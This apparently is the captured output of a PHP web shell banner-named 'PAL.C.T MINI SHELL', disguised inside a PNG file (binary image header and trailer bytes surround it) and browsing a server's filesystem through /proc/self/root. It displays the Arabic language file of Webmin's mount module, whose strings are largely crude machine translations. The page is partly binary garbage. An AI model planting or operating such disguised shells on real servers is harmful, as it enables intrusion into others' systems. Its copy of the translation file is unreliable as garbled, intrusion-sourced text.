php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/libexec/webmin/mount/lang/
upload
files >> //proc/self/root/usr/libexec/webmin/mount/lang/ar.auto

edit_title=تحرير جبل
create_title=إنشاء جبل
edit_err=فشل في تعديل التحميل
edit_egone=هذا جبل لم يعد موجودا
edit_header=$1 Mount Details
edit_dir=شنت كما
edit_usage=إستخدام القرص
edit_swap=ذاكرة افتراضية
edit_size=بحجم
edit_free=مجانا
edit_savemount=حفظ جبل؟
edit_boot=حفظ وجبل في التمهيد
edit_save=حفظ
edit_delete=حذف
edit_dont=لا تحفظ
edit_now=جبل الآن؟
edit_mount=تتعدد
edit_dont2=لا جبل
edit_unmount=إلغاء تحميل
edit_order=تحقق نظام الملفات في التمهيد؟
edit_first=تحقق أولا
edit_second=تحقق الثانية
edit_adv=خيارات جبل
edit_comm_opt=خيارات جبل المشتركة
edit_ext_opt=خيارات محددة ext2 / ext3
edit_nfs_opt=خيارات محددة NFS
edit_nfs_opt4=خيارات محددة NFSv4
edit_dos_opt=خيارات أنظمة الملفات المستندة إلى DOS
edit_hpfs_opt=خيارات محددة hpfs
edit_iso9660_opt=ISO9660 خيارات محددة
edit_autofs_opt=خيارات محددة autofs
edit_smbfs_opt=خيارات أنظمة ملفات CIFS
edit_reiserfs_opt=Reiserfs خيارات محددة
edit_tmpfs_opt=tmpfs خيارات محددة
edit_xfs_opt=خيارات محددة XFS
edit_ntfs_opt=نتفس خيارات محددة
edit_list=قائمة المستخدمين
edit_create=حفظ وجبل
edit_save_apply=حفظ وتطبيق
edit_umount=إلغاء تحميل
edit_perm=جعل دائم
edit_del_umount=المبلغ والحذف
edit_ecannot=غير مسموح لك بتحرير نظام الملفات هذا
edit_ecannot2=غير مسموح لك بإضافة أنظمة ملفات جديدة
edit_3_or_lower=3 (أو أقل)
edit_advanced=وضع متقدم

save_err=فشل في حفظ جبل
save_edir='$1' is not a directory
save_edirname='$1' is not a valid directory name
save_ealready='$1' is already mounted
save_ealready2='$1' is already assigned to be mounted
save_ealready3=The directory '$1' is already mounted
save_ealready4=The directory '$1' is already assigned for mounting
save_emkdir=Failed to create directory $1 : $2
save_eumount=Unmount failed : $1
save_emount=Mount failed : $1
save_perm=The changes to the mount on $1 could not be applied, as the mount is currently in use. To have your changes made to the permanent mount list only, click on the button below.
save_force=The mount on $1 could not be removed, as the mount is currently in use. To attempted a forced un-mount, click the the button below
save_apply=تنطبق على القائمة الدائمة
save_fapply=قوة الامم المتحدة جبل
save_eremount=Remount failed : $1
save_enone=لم تختر الحفظ أو التثبيت

swap_err=فشل في إنشاء ملف المبادلة
swap_esize='$1' is not a valid size

nfs_server=اختر خادم NFS ..
nfs_select=حدد خادم NFS لتثبيته من ..
nfs_ip=عنوان IP
nfs_host=اسم المضيف
nfs_none=لم يتم العثور على خوادم NFS المحلية
nfs_choose=Choose NFS Directory on $1
nfs_failed=Failed to retrieve NFS exports from $1 : $2 Maybe there is no NFS server running
nfs_seldir=حدد دليل NFS لتركيب ..
nfs_seldirv4=لتركيب NFSv4 ، يجب عليك تحديد "/"
nfs_dir=الدليل
nfs_clients=عملاء

smb_choose=اختر خادم CIFS ..
smb_elist=Failed to retrieve server list from $1. Maybe the server does not allow browsing
smb_eworkgroup=لم يتم تعيين مجموعة عمل على صفحة تكوين الوحدة النمطية
smb_emaster=No browse master was found for workgroup $1
smb_ehost=The server $1 does not exist
smb_edown=The server $1 is down, unreachable or is not a file server
smb_sel=حدد خادم شبكة Windows لتثبيته من ..
smb_name=اسم الخادم
smb_desc=وصف
smb_none=لم يتم العثور على خوادم شبكة Windows المحلية
smb_choose2=Choose Share on $1
smb_elist2=Failed to retrieve share list from $1. Maybe the server does not allow browsing
smb_sel2=حدد مشاركة لتثبيتها ..
smb_share=شارك
smb_comment=تعليق
smb_noshares=There are no available file shares on the server $1

solaris_scsidev=SCSI controller $1 target $2 unit $3 partition $4
solaris_idedev=IDE controller $1 drive $2 partition $3
solaris_mddev=RAID device $1
solaris_ecacheexists=The directory $1 already exists. Delete it.
solaris_ebusy=$1 is busy
solaris_ekill=فشل في قتل رومبا
solaris_epid=فشل في العثور على رومبا بيد
solaris_nsource=مصدر NFS
solaris_nhost=اسم مضيف NFS
solaris_ndir=دليل NFS
solaris_nmult=خوادم NFS متعددة
solaris_webnfs=WebNFS URL
solaris_ufs=قرص UFS
solaris_scsi=قرص SCSI / IDE
solaris_ctrlr=مراقب
solaris_target=استهداف
solaris_unit=وحدة
solaris_part=تقسيم
solaris_raid=جهاز RAID
solaris_otherdev=جهاز اخر
solaris_swapfile=ملف المبادلة
solaris_file=ملف
solaris_cdrom=قرص مدمج
solaris_dvd=DVD
solaris_msdos=قرص MS-DOS
solaris_orig=الدليل الأصلي
solaris_cache=مصدر ذاكرة التخزين المؤقت
solaris_automap=خريطة Automounter
solaris_autohosts=جميع صادرات NFS
solaris_autoxfn=خدمة التسمية الفيدرالية
solaris_server=اسم الخادم
solaris_share=شارك الاسم
solaris_lvm=جهاز LVM
solaris_vg=مجموعة الحجم
solaris_lv=حجم منطقي
solaris_vxfs=جهاز VXFS
solaris_hfs=جهاز HFS
solaris_ro=يقرأ فقط؟
solaris_nosuid=عدم السماح للبرامج setuid؟
solaris_grpid=ملفات ترث GID الأصل؟
solaris_soft=عودة خطأ في المهلات؟
solaris_bg=إعادة محاولة يتصاعد في الخلفية؟
solaris_quota=عرض الحصص؟
solaris_nointr=السماح للمستخدم المقاطعة؟
solaris_nfsver=نسخة NFS
solaris_highest=أعلى
solaris_proto=بروتوكول
solaris_port=ميناء NFS
solaris_timeo=نفذ الوقت
solaris_retrans=عدد عمليات إعادة الإرسال
solaris_auth=المصادقة
solaris_none=لا شيء
solaris_des=DES
solaris_krb=كيربيروس
solaris_public=WebNFS جبل؟
solaris_quotab=تمكين الحصص في وقت التمهيد؟
solaris_onerror=العمل على الخطأ
solaris_toosoon=إصلاح تأخير
solaris_time_s=ثواني
solaris_time_m=الدقائق
solaris_time_h=ساعات
solaris_time_d=أيام
solaris_time_w=أسابيع
solaris_time_y=سنوات
solaris_noatime=تحديث أوقات الوصول؟
solaris_immed=فورا
solaris_defer=المؤجلة
solaris_force=قوة IO المباشر؟
solaris_nolarge=السماح الملفات الكبيرة؟
solaris_logging=تمكين التسجيل؟
solaris_nrr=تجاهل سمات يونكس؟
solaris_notraildot=هل تتجاهل النقطة الزائدة؟
solaris_nomaplcase=استخدام الأحرف الصغيرة؟
solaris_foldcase=قوة انخفاض القضية؟
solaris_noopts=لا توجد خيارات متاحة
solaris_size=بحجم
solaris_largebsize=استخدام حجم كتلة الصفحة الكبيرة؟
solaris_max=أقصى
solaris_backfs=نوع نظام الملفات الحقيقي
solaris_backpath=نقطة جبل حقيقية
solaris_cachedir=دليل ذاكرة التخزين المؤقت
solaris_wmode=وضع الكتابة
solaris_con=فحص التناسق
solaris_period=دوريا
solaris_never=أبدا
solaris_demand=على الطلب
solaris_waround=الكتابة حول
solaris_nshared=غير مشترك.
solaris_local=تحقق الأذونات في ذاكرة التخزين المؤقت؟
solaris_nobrowse=تمكين التصفح؟
solaris_auto=تلقائي
solaris_mname=اسم مضيف الخادم
solaris_cname=اسم العميل
solaris_username=اسم الدخول
solaris_password=كلمة سر الدخول
solaris_uid=ملفات المستخدم مملوكة من قبل
solaris_gid=ملفات المجموعة مملوكة من قبل
solaris_fmode=أذونات الملف
solaris_dmode=أذونات الدليل
solaris_readwrite=الوصول للقراءة / الكتابة آمن؟
solaris_readonly=يمكن أن تكون الملفات للقراءة فقط؟
solaris_noupper=إرسال كلمة المرور في الحالة العليا؟
solaris_attr=استخدام أوامر attrE؟
solaris_eurl='$1' is not a valid NFS URL
solaris_ehost='$1' is not a valid hostname
solaris_ehost2=The host '$1' does not exist
solaris_edown=The host '$1' is down or does not support NFS
solaris_enfs=The host '$1' does not support NFS
solaris_enfsdir='$1' is not a valid directory name. The available directories on $2 are : $3
solaris_enfsperm=This host is not allowed to mount the directory $1 on $2
solaris_enfsmount=NFS Error - $1
solaris_ectrlr='$1' is not a valid SCSI controller
solaris_etarget='$1' is not a valid SCSI target number
solaris_eunit='$1' is not a valid SCSI unit number
solaris_epart='$1' is not a valid SCSI partition number
solaris_eraid='$1' is not a valid RAID unit number
solaris_epath='$1' is not a valid pathname
solaris_eexist='$1' does not exist
solaris_edir='$1' is not a directory
solaris_eswapfile=The swap file '$1' does not exist
solaris_eopen=Failed to open $1 : $2
solaris_ebackfs=The back filesystem '$1' is not mounted
solaris_ebacktype=The back filesystem is '$1' is not $2
solaris_ecsrc='$1' is not a valid cache source
solaris_eautomap=مفقود اسم خريطة automount
solaris_eautofile=The map file '$1' does not exist
solaris_etarget2=The SCSI target for '$1' does not exist
solaris_epart2=The SCSI partition for '$1' does not exist
solaris_eraid2=The RAID device for '$1' does not exist
solaris_enopart=No partitions on '$1'
solaris_edevfile=The device file '$1' does not exist
solaris_edevice=The device for '$1' does not exist
solaris_efstyp=The device '$1' is formatted as a $2
solaris_efstyp2=Failed to check filesystem type : $1
solaris_ecachedir='$1' is not a valid cache directory
solaris_efmode='$1' is not a valid octal file mode
solaris_edmode='$1' is not a valid octal directory mode

linux_eamd=فشل AMD
linux_eauto=Automount failed : $1
linux_esmbconn=فشل الاتصال بالخادم
linux_ekillamd=فشل في قتل AMD
linux_ekillauto=فشل في قتل automount
linux_nfshost=اسم مضيف NFS
linux_nfsdir=دليل NFS
linux_map=خريطة Automounter
linux_swapfile=ملف المبادلة
linux_disk=أسطوانة
linux_smbserver=اسم الخادم
linux_smbshare=شارك الاسم
linux_raid=جهاز RAID
linux_rdev=RAID device $1
linux_lvm=الحجم المنطقي LVM
linux_ldev=LVM VG $1, LV $2
linux_cddev=محرك الأقراص المضغوطة
linux_cddev2=CD-ROM drive $1
linux_burnerdev=محرك الأقراص المضغوطة
linux_label=Partition labelled $1
linux_uuid=Partition with ID $1
linux_lsel=قسم المسمى
linux_usel=التقسيم مع معرف
linux_other=جهاز اخر
linux_ro=يقرأ فقط؟
linux_sync=يكتب المخزن المؤقت لنظام الملفات؟
linux_nodev=عدم السماح لملفات الجهاز؟
linux_noexec=عدم السماح بتنفيذ الثنائيات؟
linux_nosuid=عدم السماح للبرامج setuid؟
linux_ifuser=إذا قابل للتركيب من قبل المستخدمين
linux_user=هل تسمح للمستخدمين بتحميل نظام الملفات هذا؟
linux_check=تحقق من الوضع
linux_normal=عادي
linux_strict=صارم
linux_none=لا شيء
linux_errors=العمل على الخطأ
linux_continue=استمر
linux_remount_ro=إعادة تحميل للقراءة فقط
linux_panic=هلع
linux_grpid=ملفات ترث GID من الدليل الأصل؟
linux_quotas=استخدام الحصص؟
linux_usrquota=المستخدم فقط
linux_grpquota=المجموعة فقط
linux_usrgrpquota=المستخدم والمجموعة
linux_usrgrpquota2=المستخدم والمجموعة (غير مستقر!)
linux_quotaj=نوع تخزين الحصة
linux_quotaj1=Journalling
linux_quotaj0=منتظم
linux_resuid=احتياطي مساحة للمستخدم
linux_resgid=احتياطي مساحة للمجموعة
linux_bg=إعادة محاولة يتصاعد في الخلفية؟
linux_soft=عودة خطأ في المهلات؟
linux_timeo=نفذ الوقت
linux_etimeo=يجب أن تكون المهلة رقمًا
linux_retrans=عدد عمليات إعادة الإرسال
linux_vers=نسخة NFS
linux_high=أعلى
linux_port=ميناء NFS
linux_intr=السماح للمستخدم المقاطعة؟
linux_tcp=بروتوكول RPC
linux_uid=ملفات المستخدم مملوكة من قبل
linux_gid=ملفات المجموعة مملوكة من قبل
linux_rules=قواعد تسمية الملف
linux_relaxed=خففت
linux_conv=DOS يونيكس تحويل السطر الجديد
linux_allfiles=كل الملفات
linux_textfiles=ملفات نصية فقط
linux_umask=قناع أذونات الملف
linux_quiet=Report errors on <tt>chown</tt> attempts?
linux_uni_xlate=ترجمة أحرف يونيكود؟
linux_posix=السماح الأسماء التي تختلف فقط في حالة؟
linux_conv2=OS / 2-Unix newline التحويل
linux_rock=تجاهل سمات يونكس؟
linux_mode=أذونات الملفات للأقراص المضغوطة غير التابعة لـ Unix
linux_noopts=لا توجد خيارات متاحة
linux_timeout=وقت الخمول قبل إلغاء تحميل
linux_pid_file=اكتب PID للملف
linux_secs=ثواني
linux_smbwarn=تحذير! لم يتم تحميل نظام الملفات من Webmin ، لذلك لا تتوفر الخيارات الحالية
linux_username=اسم الدخول
linux_password=كلمة سر الدخول
linux_credentials=ملف بيانات الاعتماد
linux_sname=اسم الخادم
linux_wg=مجموعة العمل
linux_auto=تلقائي
linux_cname=اسم العميل
linux_mname=عنوان المستقبل
linux_fmode=أذونات الملف
linux_dmode=أذونات الدليل
linux_notail=مقايضة الفضاء بالسرعة؟
linux_tmpsize=الحد الأقصى لحجم نظام الملفات
linux_unlimited=غير محدود
linux_nr_blocks=أقصى كتل المتاحة
linux_nr_inodes=الحد الأقصى inode المتاحة
linux_tmpmode=أذونات نقطة جبل
linux_ehost='$1' is not a valid hostname
linux_ehost2=The host '$1' does not exist
linux_edown=The host '$1' is down
linux_enfs=The host '$1' does not support NFS
linux_elist=Failed to get mount list : $1
linux_enfsdir='$1' is not a valid directory name. The available directories on $2 are : $3
linux_enfsperm=This host is not allowed to mount the directory $1 on $2
linux_enfsmount=NFS Error - $1
linux_eautomap=The automount map file '$1' does not exist
linux_edev=لم يدخل الجهاز
linux_edevfile=The device file '$1' does not exist
linux_emask='$1' is not a valid octal mask
linux_etimeout='$1' is not a valid timeout
linux_epidfile='$1' is not a valid pid file
linux_efmode='$1' is not a valid octal file mode
linux_edmode='$1' is not a valid octal directory mode
linux_etmpsize=الحجم الأقصى مفقود أو غير صالح
linux_enr_blocks=عدد الكتل المفقودة أو غير الصحيحة
linux_enr_inodes=عدد مفقود أو غير صالح من inode
linux_etmpmode=أذونات نقطة تحميل ثماني أو غير صالحة
linux_usrquotas=تمكين حصص المستخدم؟
linux_grpquotas=تمكين مجموعات الحصص؟
linux_noenforce=نعم ، لكن لا تنفذ
linux_df=تضمين القطع المحجوزة في حجم نظام الملفات؟
linux_noatime=تجنب تحديث أوقات الوصول الأخيرة؟
linux_netdev=انتظر حتى واجهات الشبكة تصل؟
linux_nofail=متابعة التمهيد حتى لو فشل التثبيت؟
linux_ecname=اسم NetBIOS العميل مفقود أو غير صالح
linux_emname=اسم مضيف خادم مفقود أو غير صالح أو عنوان IP
linux_bind=الدليل الأصلي
linux_ebind=الدليل الأصلي مفقود أو غير موجود
linux_eserver=اسم الخادم مفقود
linux_eshare=اسم المشاركة مفقود
linux_rsize=قراءة حجم المخزن المؤقت
linux_wsize=اكتب حجم المخزن المؤقت
linux_auth=وضع مصادقة
linux_sec=مستوى الأمان
linux_integrity=النزاهة
linux_privacy=الخصوصية (بما في ذلك النزاهة)
linux_nfsvers=قوة إصدار NFS
linux_nfsdefault=استخدام الإصدار الافتراضي
linux_transfert=RPC / بروتوكول النقل
linux_swappri=أولوية الذاكرة الافتراضية
linux_eswappri=مفقود أو غير صالح أولوية الذاكرة الظاهرية الرقمية
linux_codepage=صفحة الكود
linux_iocharset=مجموعة أحرف IO
linux_ecodepage=صفحة الرموز مفقودة أو غير صالحة
linux_eiocharset=مجموعة أحرف IO مفقودة أو غير صالحة
linux_nounix=تعطيل ملحقات CIFS يونيكس؟
linux_noserverino=توليد أرقام inode على جانب العميل؟
linux_cvers=نسخة CIFS
linux_ecvers=يجب أن يكون إصدار CIFS رقمًا

log_mount=Mounted $3
log_mount_l=Mounted $2 $1 on $3
log_umount=Unmounted $3
log_umount_l=Unmounted $2 $1 on $3
log_remount=Remounted $3
log_remount_l=Remounted $2 $1 on $3
log_create=Created mount $3
log_create_l=Created $2 mount $1 on $3
log_modify=Modified mount $3
log_modify_l=Modified $2 mount $1 on $3
log_delete=Deleted mount $3
log_delete_l=Deleted $2 mount $1 on $3
log_swap=Created swap file $1

unmount_err=Failed to unmount $1

mount_err=Failed to mount $1
irix_nhost=اسم مضيف NFS
irix_ndir=دليل NFS
irix_part=التقسيم المحلي
irix_mode0=SCSI controller $1 target $2 partition $3
irix_mode1=جهاز أو ملف آخر
irix_ro=يقرأ فقط؟
irix_nosuid=عدم السماح للبرامج setuid؟
irix_grpid=ملفات ترث GID الأصل؟
irix_nodev=عدم السماح لملفات الجهاز؟
irix_bg=إعادة محاولة يتصاعد في الخلفية؟
irix_soft=عودة خطأ في المهلات؟
irix_nointr=السماح للمستخدم المقاطعة؟
irix_version=نسخة NFS
irix_proto=بروتوكول NFS
irix_port=منفذ NFS
irix_timeo=نفذ الوقت
irix_retrans=عدد عمليات إعادة الإرسال
irix_noopts=لا توجد خيارات متاحة
irix_quota=تمكين الحصص؟
irix_noatime=تحديث أوقات الوصول؟
irix_wsync=جميع التعديلات متزامنة؟
irix_quotano=نعم ، لكن لا تنفذ
irix_cd=القرص المضغوط المحلي
irix_mode0cd=SCSI controller $1 target $2
irix_setx=جعل جميع الملفات قابلة للتنفيذ؟
irix_rock=استخدام ملحقات روك ريدج؟
irix_nofsck=تحقق نظام الملفات في التمهيد؟
irix_auto=مصدر تلقائي
irix_automap=ملف الخريطة

irix_ehost=The host '$1' does not exist
irix_eloss=The host '$1' is down
irix_eshowmount=The host '$1' does not support NFS
irix_emountlist=Failed to get mount list : $1
irix_edirlist='$1' is not a valid directory name. The available directories on '$2' are : $3
irix_enotexist=The directory '$1' does not exist on host '$2' The available directories are : $3
irix_epermission=This host is not allowed to mount the directory '$1' from host '$2'
irix_enfserr=NFS error : $1
irix_ectrlr='$1' is not a valid SCSI controller
irix_edrive='$1' is not a valid SCSI drive
irix_epart='$1' is not a valid partition number
irix_edevice=Disk device '$1' does not exist
irix_eswapfile=The swap device '$1' does not exist
irix_efstyp2=Failed to get filesystem type $1 : $2
irix_efstyp=The type of filesystem on $1 is $2, not $3
irix_eautomap=Automounter map file '$1' does not exist
irix_eauthmap2=ملف خريطة عداد المفقودين أو غير صالح

irix_devroot=قسم الجذر
irix_devswap=قسم المبادلة
irix_autohosts=جميع صادرات NFS

acl_only=فقط السماح للتركيب وإلغاء التثبيت؟
acl_fs=أنظمة الملفات التي يمكن تحريرها
acl_types=أنواع أنظمة الملفات التي يمكن استخدامها
acl_all=الكل
acl_list=تحت الدلائل المدرجة
acl_create=يمكن إضافة أنظمة ملفات جديدة؟
acl_fslist=أسماء الأنواع المدرجة
acl_user=يمكن فقط تعديل أنظمة الملفات الخاصة؟
acl_hide=إخفاء أنظمة الملفات غير القابلة للتحرير؟
acl_simple=عرض شكل جبل بسيط؟
acl_simopts=إظهار خيارات نظام الملفات المبسطة؟
acl_browse=عرض الملف وتبادل أزرار التصفح؟

egcc=برنامج التحويل البرمجي GCC أو CC المطلوب لإنشاء برنامج لإدراج أنظمة الملفات المثبتة على نظامك غير متوفر.
ecompile=An error has occurred building a program for listing mounted filesystems on your system : $1

freebsd_eaddr=عنوان خادم مفقود أو غير صالح
freebsd_eworkgroup=مجموعة العمل مفقودة أو غير صالحة
freebsd_ide=القرص الصلب IDE
freebsd_device=جهاز
freebsd_slice=شريحة
freebsd_part=تقسيم
freebsd_scsi=قرص SCSI
freebsd_other=جهاز اخر
freebsd_select=قسم القرص
freebsd_idedev=IDE device $1, slice $2, partition $3
freebsd_scsidev=SCSI device $1, slice $2, partition $3
freebsd_edevpath=Other device must be an absolute path, like <tt>/dev/cdrom</tt>
freebsd_edevfile=The device file '$1' does not exist

cswap_file=The swap file $1 does not exist.
cswap_size=إنشاء وتحميل ملف المبادلة مع الحجم

acl_sysinfo=هل تريد عرض بيانات القرص المتوفرة على لوحة المعلومات؟
sysinfo_total=مجموع
sysinfo_dev=معرف الجهاز
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`